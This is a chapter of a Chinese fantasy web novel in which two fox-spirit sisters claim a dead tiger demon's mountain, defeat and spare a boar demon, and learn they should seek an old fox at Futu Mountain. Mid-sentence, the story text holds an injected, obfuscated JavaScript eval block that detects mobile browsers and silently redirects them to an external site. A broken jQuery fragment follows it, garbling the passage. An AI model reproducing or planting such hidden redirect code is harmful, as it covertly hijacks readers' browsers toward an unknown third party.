天刚微微亮,都不需要白魅白芊叫她们,白河白水已经迫不及待的起来把自己收拾好了。白水还偷偷在身上藏了几个疗伤的药丸和油烛;白河惦记着要还张清人情,不知道带什么好,就揣了个装满珠宝的钱袋子。一切收拾好,她俩端坐木屋前厅,等着白魅白芊起来。
白芊白魅洗漱好,一来到厅堂就看着她俩迫不及待的样子,白芊冷着脸,回头跟白魅忿忿不平说着:“怕是一整晚都在惦记着,昨晚睡得那么迟,今个破天荒的比我们起的还早,这会还都收拾完了,你就说这俩白眼东西谁生的?”白魅无奈地笑着没说话,摆摆手示意她俩可以出门了,两个人冲着夫妻俩做了个鬼脸,就着急奔出了门。看着两小只没心没肺地走了,白芊才露出担忧神色,身后跟出来的白魅拍拍她的肩,始终都没说话,又折回去了里屋,白芊纠结了一会儿叹口气,也跟着进去了。
飞出灵地,白河白水停在半空中,一时间不知道去哪。白河想了想,指着不远的山头对白水说:“我们先去昨天虎妖的山头看看,现在那应该算是个空山头了。”
白水撇了白河一眼,她就知道白河肯定对立山头的事念念不忘,现在正好有虎妖的事情,肯定不会消停,就点点头跟上了白河。虎妖原来占据的山头离灵地不远,仅隔着一座山,白河白水又是飞行,话语落地不过一个香头,她俩就悬在山顶处。这会儿山上安静,视野不错,片刻工夫,俩人就看见了一个斜歪挂着灯笼的洞口,等落在山洞前,才看清山洞顶刻着“山君洞”的字样。白河一言不发,手一挥,就把山君洞变成了‘河水府’。
虽取了俩人名字各一个字,有寓意,但‘河水’比起‘山君’俗气的不是一点半点,白水刚想笑白河起名的水平真烂,洞里就窜出来一只半人高的野猪,那野猪被人打搅了,这会儿气势汹汹的,看起来不好惹。野猪瞪了俩人一眼,抬头又看到洞口的名字变了,顿时凶光一露,亮着獠牙就冲两姐妹刺过去,白水轻轻一跃悬置空中躲开了野猪的冲撞,双手施法燃起两个火球准备战斗;白河就地一滚,也躲过冲撞,化身白狐,冲着野猪的后背龇牙示威。
野猪看到白水亮火球先是一怔,但也只是一怔,随即立马掉头再次刺向白河。白河根本不虚,对野猪冲来的方向左右跳跃着迎了上去,最后一跃巧妙地避开野猪獠牙,瞬间在空中化形为人,又一脚蓄力,猛猛地踢在野猪头上。这一套动作行云流水,一点也不犹豫,像是排练好了一样,这一脚的力气又巨大,野猪也没有反应躲避的机会,被踢得腾空飞起,重重地砸在了后面的山壁上。
那野猪被踢飞倒地也不见消停,在地上蛄蛹几下,又翻身站起来,疑惑地看着白河,又鼓气蓄势再次向白河进攻,白河也没惯着它,同样的招数又是猛踢。野猪像是不服气一样,来回折腾好几次,招式没变,只是架势一次比一次大,始终未能伤到白河分毫,终于是没了力气,一旁的白水盯着野猪,没敢松懈。也许是发现打不过白河,它原地又化作人形站了起来,是个三五十岁左右,穿着粗布衣,络腮胡须的糙脸大汉。
大汉化人形后立马换了攻击方式,一把扒开上衣,赤裸着上身,弯腰弓着背,背上白光一闪,无数猪毫尖刺就朝白河飞去。白水看到立马御火球挡在白河面前,将飞过去尖刺系数烧成了灰。白河看尖刺烧尽,右手里凭空多了一道白光化的大刀,朝大汉砍过去,这时大汉也有所防备,迅速变成野猪,低头拱背硬是接下了这一刀,刀砍在野猪背上,铛铛作响,却没有造成伤害。白河见砍不动野猪,又把白剑化成光团,拢在右手,捏拳蓄力,一拳接一拳砸在野猪身上,那野猪只是轻微抖了几下,不见倒下,更有起身反攻的迹象。白水看见白河力气不足,离野猪又太近,怕她吃亏,便化一半火团制住野猪,一半火团附在白水的拳头上,白河蓄力后力气不小,又有油烛火团的加持,几拳下去,野猪被打得奄奄一息,嘴里的血直往外冒。
若不是野猪赶忙化人形求饶,白河打死野猪的也不过再多两拳的事。野猪化成大汉后,满嘴鲜血,上气不接下气的喊着:“饶命饶命,打服了打服了。”
白水听到求饶,才飞到白河身边,止住了白河,问道:“你是谁,虎大妖的山头应该都被雷清干净了,你怎么在还活着?在虎大妖的山头干什么?”
那大汉起身瘫坐在地上,咽了咽口中的鲜血,回答道:“虎妖不是散了嘛,这山头空了,浪费,所以肯定会有人来抢占。昨晚我苦战一夜,好不容易抢来了这里,门头还没想好换什么,倒霉,今天就又要被你们抢了去了。”
白河听到,不屑一笑,嘲讽道:“就这水平,还苦战一夜?就没有大妖能拿得下你?”
大汉一听这话,直起了身子,直勾勾地瞪着白河,语气也硬起来:“我虽然散修才千把年,但那都是我一丝一毫积累灵气慢慢修炼的,那帮靠炼化修为大妖能比我强多少?”
大汉咽口血,不紧不慢的穿着上衣,接着没好气的数落着白河:“你这死狐狸,邪性得很,我几次做法都定不住你,不然被我一撞,不死也残,真是气死我了。”
但说到底还是没打过白河白水,他撇了一眼白水手里的火球,虚了口气小声的骂着白水说:“昨晚我本来就伤到了,你们还二打一,怎么?仗着白狐的修为,还不允许我打败啊?”
大汉语气理直气壮,说的白河哑口无言,白水也不好意思收了火球。白河白水理亏,也不恋战,后退了几步,白河边退边嘴硬指责大汉道:“你好好说话能死?不知道哪根筋不对劲,招呼也不打一句,铆足劲就是干架。你这不是会化人形说话吗?话说的亮堂的很,搞得我们不讲理一样。”
那大汉听倒也没有生气,他冲着白河轻声笑了,说:“我也是赚到了。你们实在是奇怪,根本看不出来修为,我还以为是两个不知死活的人闯入妖界了,想着吓唬吓唬你们,你们要是跑了就算了。但你们勇的很,那个小女娃还亮出了火球,我道是谁呢,原来是白妖狐的那两个小狐崽子。本以为就是两个小幼兽,能轻松赢了你俩,轻敌了,不愧是天星转世,也算见识了。”
白河白水相互看了一眼,默契地笑了一下。白河回过头又不解地问大汉:“我们打伤你,你还赚了?赚什么了?”
大汉瘫倒在地上,平躺着,看着天喃喃说道:“我以为白狐一家也不是好东西,跟这帮旁门左道的大妖一样想靠炼化修为成神。唉。它们都不是东西,没一个是好东西,要不是我这个千年散修,修炼的就是扛得住打,早就没了。幸好,你们和它们不一样,手脚干净,跟我对打的时候,修为也纯净的很。按我对这些旁门左道的大妖的认识,你们可能活不过成妖的阶段,没想到还活着,活着就好,活着我们妖族就有希望啊。”
大汉自言自语了半天,话说得有一句没一句,把白河白水听懵了,白水盯着大汉,有些生气地说道:“你骂我父王做什么?有什么话,明白了说,再背后嚼舌根子,信不信还揍你?”
大汉这会好不容易缓过了劲,听见白水这么不客气
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15790907|174949||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,也没有收敛的意思,往后一仰,躺在地上一动不动,瞥了一眼她俩,不屑地说:“打死我也是那话,我又没说错,物竞天择那套,你父王没教你们?打得过就打,打不过就灭,我又没办法不是。”
白河拦住了还要问话的白水,冲着白水藏东西的怀里就使了个眼色,白水下意识的护了一下,不情愿地摇摇头,但白河不耐烦的啧了一声,白水只得作罢,无奈地掏出了早上准备的疗伤药丸,这药丸还没在怀里捂热,就要掏出来给人,白水怨气冲天,一直冲着大汉翻白眼。白河接过药丸,上前走了两步蹲下,又递给了大汉,语气温和的跟大汉说到:“我叫白河,她叫白水。杀你抢修为的事,我们不干,我父王也不屑,你也别口不择言了。还能起来不?这个药丸是白水专门炼制疗伤的,送给你。这块山头我也借你一段时间,我准备去浮屠山寻人,你在这好好养个伤,帮我们打理打理洞穴可成?”
大汉听到白河说话,起身坐了起来,接过药丸仔细端详了一下,才说:“是个干净药丸,好东西,我收下了。但你们刚说去浮屠山?去找老妖狐吗?老妖狐现在有点自身难保,你找她干什么?你俩现在最要紧的是想办法逃出去妖界,懂不懂?”
白水听了皱起眉头,语气越发不客气地说:“你这人,拿了我的药丸还要评价一番,后面的话又说得像是我俩十恶不赦,万妖围剿一样,你还能不能好好说话了?说话就要说明白了!”
大汉摆摆头,也没好气地说:“这帮大妖都不是什么好东西,白狐王要是跟你们说了那就是说了,他不想你们知道,我一句两句哪说得清?你也是,我什么时候说的万妖围剿你们?是那些不安分的大妖存了坏心思,我这是担心以你们,怎么这么不分好坏呢?你俩这么晃悠来晃悠去的,就不怕他们?”
白河听着直皱眉头,思索了好一会又问到:“不安好心是哪种不安好心,我父王确实忌惮他们,守着我们,不让我们出灵地,昨天才松了口又允许我们下山四处看看,这中间的门道,我看不明白,你能再说详细点?”
大汉挠着头,嘶了一声说:“按我看到的哈,就是我看到的,白狐王跟那些个狗东西走的不是一般近,一天也不知道在琢磨什么,最近那些大妖又神神秘秘偷摸在张罗着什么事,我就凭感觉,就觉得没安好心,你们两个特殊,按理说白狐王肯定知道些什么,但是现在又放心你们到处跑,这是干什么?这白狐王是好是坏啊?”
大汉说话云里雾里,想到哪句说哪句,白河和白水被绕糊涂了,只能木讷地点点头,又摇摇头,不知道怎么回答他。大汉看她俩这个样子,叹口气继续说到:“也罢,看你俩就是什么也不知道的,去找浮屠山那个老妖狐吧,她跟这些大妖有联系,她能讲明白。我嘴笨,是说不明白了,一直以来我都知道他们有坏心思,但是具体怎么坏,我又不和他们来往,说不清楚,说错了又是惹是生非。”
大汉看她俩还在呆愣着,想了想又说:“去浮屠山最好飞过去,别再走地晃悠着去了,一路上的小妖能烦死你们,大妖能缠死你们,更别说还有惦记着你们的。二位早去早回,叫我猪不武吧,不会武,只能扛。这混沌界看来不适合我,等你们回来,我还是下山做个散修比较好。”
在猪不武这里怕是什么也打听不到了,白河白水也只能作罢,收起了探索心,和猪不武简单的叮嘱了几句,就再次飞到了空中。临出发那会儿还像个没头苍蝇,现在两姐妹目的已经明确,没有过多的停留,直直往西方飞去。